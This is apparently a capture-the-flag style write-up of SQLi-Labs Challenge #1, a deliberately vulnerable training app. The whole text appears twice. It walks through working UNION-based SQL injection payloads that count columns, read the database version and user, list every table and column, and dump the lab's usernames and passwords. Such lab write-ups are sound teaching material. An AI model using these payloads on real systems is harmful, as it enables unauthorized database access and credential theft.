[RogueCoder]

SQLi-Labs - Challenge #1
(Get - Error based - Single quotes)

Start: Wednesday, October 9 2013 19:44
End: Wednesday, October 9 2013 19:55

Description & Goal:
This is a very basic challenge. It requires only a straight forward union select injection to extract data from the database. My goal was to to find an interesting table and output the data from it, and here's how I did it

The Process

Step 1: Verify the vulnerability
To verify the vulnerability I used the normal tick to look for any error messages that can give me some useful information

Code:

?id=0'

This resulted in the following message

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

Step 2: Find the number of columns

Code:

?id=0' group by 10 -- - FAILURE ?id=0' group by 5 -- - FAILURE ?id=0' group by 4 -- - FAILURE ?id=0' group by 3 -- - SUCCESS

Step 3: Determine in what column to output the data

Code:

?id=0' union select 1,2,3 -- -

Step 4: Output database version, name and user

Code:

?id=0' union select 1,2,concat_ws(0x7e, version(), database(), user()) -- -

The output

5.5.32-0ubuntu0.13.04.1~security~root@localhost

Step 5: Output all tables and columns for the current database
The reason why I decided to go with this approach is because the view area we have to work with in this challenge does not create a list of data. It only output's one result. This means that if I decided to go with the traditional concat(table_name,' > ', column_name) I would have to go through all information one by one to get all the data. Instead, by using this approach I am able to extract all the requested data, table_name and column_name in this case, through only one query. Which of course is much more efficient that using the LIMIT clause and having to send 12 requests.

Code:

?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema=database()) and (table_schema>=@) and (@)in (@:=concat(@,0x0a,table_name,' > ',column_name))))x) -- -

The output

emails > id
emails > email_id
referers > id
referers > referer
referers > ip_address
uagents > id
uagents > uagent
uagents > ip_address
uagents > username
users > id
users > username
users > password

Step 6: Output all data from the users table
Here I'm using a modified version of the query used to list the table and column names, and I'm able to output all the information in the users table by sending only one query

Code:

?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (users) where (id>=@) and (@)in (@:=concat(@,0x0a,id,' > ',username,' > ',password))))x) -- -

The output

1 > Dumb > Dumb
2 > Angelina > I-kill-you
3 > Dummy > p@ssword
4 > secure > crappy
5 > stupid > stupidity
6 > superman > genious
7 > batman > mob!le
8 > admin > test

And we're done!

This was a simple, but still a fun challenge. I'm really looking forward to the rest of the series now, even though I know it will get a lot harder, and that I am facing some really hard tasks that I, at this point, have no clue on how to solve

Hope you found something useful here and if you have any questions, please let me know and I will try to answer them as good as I can

Happy hacking!

[RogueCoder]

SQLi-Labs - Challenge #1
(Get - Error based - Single quotes)

Start: Wednesday, October 9 2013 19:44
End: Wednesday, October 9 2013 19:55

Description & Goal:
This is a very basic challenge. It requires only a straight forward union select injection to extract data from the database. My goal was to to find an interesting table and output the data from it, and here's how I did it

The Process

Step 1: Verify the vulnerability
To verify the vulnerability I used the normal tick to look for any error messages that can give me some useful information

Code:

?id=0'

This resulted in the following message

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

Step 2: Find the number of columns

Code:

?id=0' group by 10 -- - FAILURE ?id=0' group by 5 -- - FAILURE ?id=0' group by 4 -- - FAILURE ?id=0' group by 3 -- - SUCCESS

Step 3: Determine in what column to output the data

Code:

?id=0' union select 1,2,3 -- -

Step 4: Output database version, name and user

Code:

?id=0' union select 1,2,concat_ws(0x7e, version(), database(), user()) -- -

The output

5.5.32-0ubuntu0.13.04.1~security~root@localhost

Step 5: Output all tables and columns for the current database
The reason why I decided to go with this approach is because the view area we have to work with in this challenge does not create a list of data. It only output's one result. This means that if I decided to go with the traditional concat(table_name,' > ', column_name) I would have to go through all information one by one to get all the data. Instead, by using this approach I am able to extract all the requested data, table_name and column_name in this case, through only one query. Which of course is much more efficient that using the LIMIT clause and having to send 12 requests.

Code:

?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (information_schema.columns) where (table_schema=database()) and (table_schema>=@) and (@)in (@:=concat(@,0x0a,table_name,' > ',column_name))))x) -- -

The output

emails > id
emails > email_id
referers > id
referers > referer
referers > ip_address
uagents > id
uagents > uagent
uagents > ip_address
uagents > username
users > id
users > username
users > password

Step 6: Output all data from the users table
Here I'm using a modified version of the query used to list the table and column names, and I'm able to output all the information in the users table by sending only one query

Code:

?id=0' union select 1,2,(select (@) from (select(@:=0x00),(select (@) from (users) where (id>=@) and (@)in (@:=concat(@,0x0a,id,' > ',username,' > ',password))))x) -- -

The output

1 > Dumb > Dumb
2 > Angelina > I-kill-you
3 > Dummy > p@ssword
4 > secure > crappy
5 > stupid > stupidity
6 > superman > genious
7 > batman > mob!le
8 > admin > test

And we're done!

This was a simple, but still a fun challenge. I'm really looking forward to the rest of the series now, even though I know it will get a lot harder, and that I am facing some really hard tasks that I, at this point, have no clue on how to solve

Hope you found something useful here and if you have any questions, please let me know and I will try to answer them as good as I can

Happy hacking!